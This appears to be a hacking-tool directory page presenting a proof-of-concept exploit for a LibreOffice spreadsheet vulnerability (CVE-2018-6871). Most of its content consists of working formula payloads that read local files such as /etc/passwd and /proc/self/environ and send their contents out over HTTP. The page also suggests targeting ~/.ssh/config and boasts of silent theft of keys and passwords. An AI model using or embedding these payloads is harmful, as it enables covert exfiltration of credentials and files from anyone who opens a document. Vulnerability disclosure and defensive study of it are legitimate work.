Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
libreoffice-remote-arbitrary-file-disclosure — Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability | Kitploit
Tools/GitHubGitHub/jollheef/libreoffice-remote-arbitrary-file-disclosure
Vulnerability AnalysisExploitationData ExfiltrationInformation Gathering
GitHubjollheef/libreoffice-remote-arbitrary-file-disclosure

libreoffice-remote-arbitrary-file-disclosure

Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability

View Repository
96938 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Vulnerability description

CVE-2018-6871

First part

LibreOffice supports COM.MICROSOFT.WEBSERVICE function:

root@kitploit:~
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4

The function is required to obtain data by URL, usually used as:

root@kitploit:~
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

In original:

root@kitploit:~
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.

In LibreOffice, these restrictions are not implemented before 5.4.5/6.0.1.

Second part

By default the cells are not updated, but if you specify the cell type like ~error, then the cell will be updated when you open document.

Exploitation

To read file you need just:

root@kitploit:~
=WEBSERVICE("/etc/passwd")

This function can also be used to send a file:

root@kitploit:~
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

For successful operation, you need to send the files of the current user, so you need to retrieve current user home path.

root@kitploit:~
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",

Also you can parse other files too, like a ~/.ssh/config or something like that.

For other than LibreOffice Calc formats you just need embed calc object to other document (I checked it works).

Impact

It is easy to send any files with keys, passwords and anything else. 100% success rate, absolutely silent, affect LibreOffice prior to 5.4.5/6.0.1 in all operation systems (GNU/Linux, MS Windows, macOS etc.) and may be embedded in almost all formats supporting by LO.

Acknowledgment

Vulnerability was independently found by me (@jollheef) and Ronnie Goodrich && Andrew Krasichkov (according to LibreOffice team notes).

Download Tool